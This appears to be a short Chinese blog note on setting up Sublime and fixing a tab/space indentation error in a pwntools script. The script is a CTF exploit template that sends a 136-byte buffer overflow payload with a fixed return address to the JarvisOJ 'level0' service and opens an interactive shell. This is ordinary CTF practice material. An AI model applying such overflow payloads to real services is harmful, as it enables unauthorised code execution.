1.sublime安装

?2.解决pwn报错问题

2.1pwn脚本：0model.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pickle import TRUE
from pwn import *
import sys

context.terminal=["tmux","sp","-h"]
context.log_level='debug'

DEBUG = 1

LOCAL = True
BIN   ='./level0'
HOST  ='pwn2.jarvisoj.com'
PORT  =9881




def get_base_address(proc):
	return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)

def debug(bps,_s):
    script = "handle SIGALRM ignore\n"
    PIE = get_base_address(p)
    script += "set $_base = 0x{:x}\n".format(PIE)
    for bp in bps:
        script += "b *0x%x\n"%(PIE+bp)
    script += _s
    gdb.attach(p,gdbscript=script)

# pwn,caidan,leak,libc
# recv recvuntil send sendline sendlineafter sendafter

def exploit(p):

	p.recv()
	pl = 136*'a'+p64(0x0000000000400596)
	p.sendline(pl)
	p.interactive()
	return

if __name__ == "__main__":
	elf = ELF(BIN)
	if len(sys.argv) > 1:
		LOCAL = False
		p = remote(HOST, PORT)
		exploit(p)
	else:
		LOCAL = True
		p = process(BIN)
		log.info('PID: '+ str(proc.pidof(p)[0]))
		# pause
		if DEBUG:
			debug([],"")
		exploit(p)

2.2脚本出错信息?

root@pwn_test1604:/ctf/work/1# python 0model.py 
  File "0model.py", line 41
    p.interactive()
                  ^

2.3解决方法?

用vscode鼠标右键调出命令平台

?输入convert indentation to Tabs，保存文件

?完美解决，具体如下：

root@pwn_test1604:/ctf/work/1# python 0model.py 1
